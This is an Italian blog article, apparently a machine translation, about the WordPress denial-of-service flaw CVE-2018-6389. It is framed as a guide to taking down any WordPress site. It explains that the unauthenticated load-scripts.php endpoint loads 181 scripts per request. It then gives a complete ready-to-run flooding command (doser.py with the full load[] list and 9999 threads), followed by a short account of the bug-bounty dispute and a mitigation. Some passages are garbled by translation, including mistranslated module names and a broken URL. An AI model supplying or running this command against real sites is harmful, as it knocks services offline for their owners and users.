Come mandare in down il 100% dei siti WordPress con un attacco DOS (CVE-2018-6389)

Condividi questo articolo:


Secondo wordpress.com, la piattaforma WordPress alimenta il 29- dei siti Internet in tutto il mondo.

In questo articolo spiegherò come il Denial of Service può essere facilmente causato a quasi tutti i siti Web WordPress online e come è possibile correggere il tuo sito Web WordPress per evitare che questa vulnerabilità venga sfruttata.

È importante notare che lo sfruttamento di questa vulnerabilità è illegale, a meno che non si disponga dell’autorizzazione del proprietario del sito Web.

In questa guida sveleròcome usare la falla per mandare in down qualsiasi sito web WordPress e spiegherò come difendersi dalla vulnerabilità

[ihc-hide-content ihc_mb_type=”show” ihc_mb_who=”1,2″ ihc_mb_template=”1″ ]

Durante la navigazione di un sito Web WordPress, la mia attenzione è stata attirata dal seguente URL:

https: //WPServer/wp-admin/load-scripts.php c = 1 & carico- 5B- 5D = jquery-ui-core & ver = 4.9.1

Il file load-scripts.php riceve un parametro chiamato load [], il valore del parametro è ‘jquery-ui-core’. Nella risposta, ho ricevuto il modulo JS ‘jQuery UI Core’ che è stato richiesto, come dimostrato nella seguente immagine:

Ciò che può essere concluso da questo URL è che probabilmente è destinato a fornire agli utenti alcuni moduli JS. Inoltre, il parametro load [] è un array, il che significa che è possibile fornire più valori ed essere in grado di ottenere più moduli JS nella risposta.

Poiché WordPress è open-source, è facile eseguire la revisione del codice ed esplorare questa funzione. Dopo averlo fatto, mi sono reso conto che questa funzione è stata progettata per risparmiare la quantità di richieste inviate dal client durante il tentativo di caricare file JS o CSS, quindi quando il browser deve caricare più file JS / CSS, utilizzerà gli script di caricamento. php (per JS) o load-styles.php (per file CSS) e il browser otterrà più file JS / CSS attraverso una singola richiesta, quindi per quanto riguarda le prestazioni è meglio farlo e la pagina si caricherà più velocemente. Questa funzione è stata progettata solo per le pagine di amministrazione, ma è anche utilizzata nella pagina wp-login.php, quindi non viene applicata alcuna autenticazione su questi file.
Innanzitutto, ho provato a manipolare questa funzione e a fornire più volte un elenco del valore “jquery-ui-core” come segue:

Ho pensato di fare in modo che il server leggesse più volte lo stesso file e lo aggiungessi alla stessa risposta, ma l’uso della funzione “array_unique” rimuove i duplicati negli array in modo che non ci sia riuscito:

Ho continuato a esplorare il codice e ho trovato qualcosa che sembrava interessante nel seguente frammento di codice, che volevo approfondire ulteriormente:

C’è un elenco ben definito ($ wp_scripts), che può essere richiesto dagli utenti come parte del parametro load []. Se esiste il valore richiesto, il server eseguirà un’azione di lettura I / O per un percorso ben definito associato al valore fornito dall’utente.

 

Ci sono 181 valori in questo elenco:

eutil, comuni, wp-a11y, sacco, quicktag, colorpicker, redattore, wp-fullscreen-stu, wp-ajax-risposta, wp-api-richiesta, wp-pointer, salvataggio automatico, il battito cardiaco, wp-auth-check, WP elenchi, prototipo, Scriptaculous-radice, Scriptaculous-builder, Scriptaculous-dragdrop, Scriptaculous effetti, scriptaculous-cursore, Scriptaculous-suono, Scriptaculous-controls, Scriptaculous, troncatrice, jquery, jquery-core, jquery-migrate, jquery-UI- nucleo, jquery-effetti-core, jquery-effetti cieco, jquery-effetti-rimbalzo, jquery-effetti-clip, jquery-effetti-drop, jquery-effetti-esplosione, jquery-effetti-dissolvenza, jquery effetti volte, jquery effetti evidenziazione, jquery-effetti-soffio, jquery-effetti-pulsate, jquery-effetti scala, jquery-effetti-shake, jquery-effetti-size, jquery-effetti-scivolo, jquery-effetti-trasferimento, jquery- ui-fisarmonica, jquery-ui-completamento automatico, jquery-ui-tasto, jQuery-ui-datepicker, jquery-ui-finestra, jquery-ui-trascinabili, jquery-ui-droppable, jquery-ui-menù, jquery-UI- topo, jquery-ui posizione, jquery-ui-progressbar, jquery-ui-ridimensionabile, jquery-ui selezionabile, jquery-ui-Selezionare Menu , Jquery-ui-cursore, jQuery-ui-ordinabili, jquery-ui-filatore, jquery-ui-schede, jQuery-ui-tooltip, jquery-ui-widget jquery-forma, jquery-colore, pianificazione, jquery-query , jquery-serialize-oggetto, jquery-tasti di scelta rapida, jquery-table-tasti di scelta rapida, jquery-touch-punch, suggerire, imagesloaded, muratura, jquery-muratura, thickbox, jcrop, swfobject, moxiejs, plupload, plupload-gestori, wp-plupload , swfupload, swfupload-all, swfupload-gestori, commentare-repl, json2, sottolineare, spina dorsale, wp-util, wp-Sterilizzare, wp-spina dorsale, revisioni, imgareaselect, MediaElement, MediaElement-core, MediaElement-Migrat, MediaElement-vimeo , wp-MediaElement, wp-CodeMirror, csslint, jshint, esprima, jsonlint, htmlhint, htmlhint-KSES, Editor codice, wp-theme-plugin-redattore, wp-playlist, zxcvbn-asincrone, password forza metri, l'utente -profile, la lingua-chooser, user-suggerire, admin-ba, wplink, wpdialogs, word-Coun, media-caricati, hoverIntent, personalizzare-base, personalizzare-loader, personalizzare-anteprima, personalizzare-modelli, personalizzare-viste, personalizzare -Controllo, personalizzare selettivo-refresh, personalizzare-widget, personalizzare-anteprima-widget di s, NAV-menu personalizzare-, personalizzare-anteprima-nav-menu, wp-custom-header, fisarmonica, shortcode, media-modelli, wp-embe, media-viste, media-editore, media-audiovideo, MCE-view, wp-api, admin-tag, commenti admin-, XFN, Postbox, tag-box, tag-suggeriscono, pos

t, redattore espandere, di collegamento, di commento, admin-gallery, admin-widget, media-widget, media-audio-Widget, media-image-Widget, media-gallery-Widget, media-video-Widget, text-widget, custom-html-widget, tema inline-edit-post, inline-edit-fiscale, plug-installazione, aggiornamenti, farbtastic, iris, wp-color-picker, cruscotto, list-revisione, media-grid, dei media, image- modificare, set-post-miniature, nav-menù, custom-intestazione, custom-sfondo, media-gallery, SVG-pittore

Mi chiedevo cosa sarebbe successo se avessi inviato al server una richiesta per fornirmi tutti i moduli JS memorizzati? Una singola richiesta farebbe in modo che il server eseguisse 181 azioni I / O e fornisse il contenuto del file nella risposta.

Quindi l’ho provato, ho inviato la richiesta al server:

Il server ha risposto dopo 2,2 secondi, con quasi 4 MB di dati, il che ha reso il server molto duro per elaborare tale richiesta.

Così ho deciso di usare doser.py, un semplice strumento che ho scritto, progettato per ripetere costantemente le richieste (sì, so che i thread di Python fanno schifo, ma amo ancora Python!) Per causare DoS, e indovinate un po ‘? ha funzionato! 🙂

Comando completo:

python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load-5B-5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

Finché continuavo a inviare quelle richieste al server, era troppo occupato per gestire qualsiasi altra richiesta e avevo causato (e facilmente) efficacemente il DoS.

È ora di ricordare ancora che load-scripts.php non richiede alcuna autenticazione, un utente anonimo può farlo.

Dopo ~ 500 richieste, il server non ha più risposto o restituito errori del codice di stato 502/503/504 come:

 

Video PoC completo:

WordPress ha un programma di bug bounty e li ho contattati per questo problema, anche se sapevo che le vulnerabilità di DoS sono fuori portata, l’ho segnalato tramite HackerOne e ho spiegato la vulnerabilità, ho pensato che avrebbero capito che qui c’è un problema di sicurezza e affrontarlo correttamente. Dopo averlo fatto avanti e indietro alcune volte e ho cercato di spiegare e fornire un PoC, si sono rifiutati di riconoscerlo e hanno affermato che:
“Questo genere di cose dovrebbe davvero essere mitigato a livello di server o di rete piuttosto che a livello di applicazione, che è al di fuori del controllo di WordPress.”

Anche se ero estremamente frustrato per il fatto che non riconoscessero questo come una vulnerabilità, ho continuato a esplorare come posso mitigare questo attacco, ho biforcuto il progetto WordPress e l’ho patchato in modo che nessuno ma utenti autenticati caccedere al file load – *. php, senza danneggiare la funzionalità del file wp-login.php. Quindi, se stai utilizzando WordPress o stai per utilizzarlo, ti consiglio vivamente di utilizzare la versione con patch.
Nel caso in cui tu abbia già un sito Web WordPress su una macchina Linux, ho creato questo script bash che modifica i file pertinenti al fine di mitigare la vulnerabilità.

[/ihc-hide-content]


Per ulteriori informazioni visita il sito: immagi.net

Condividi questo articolo: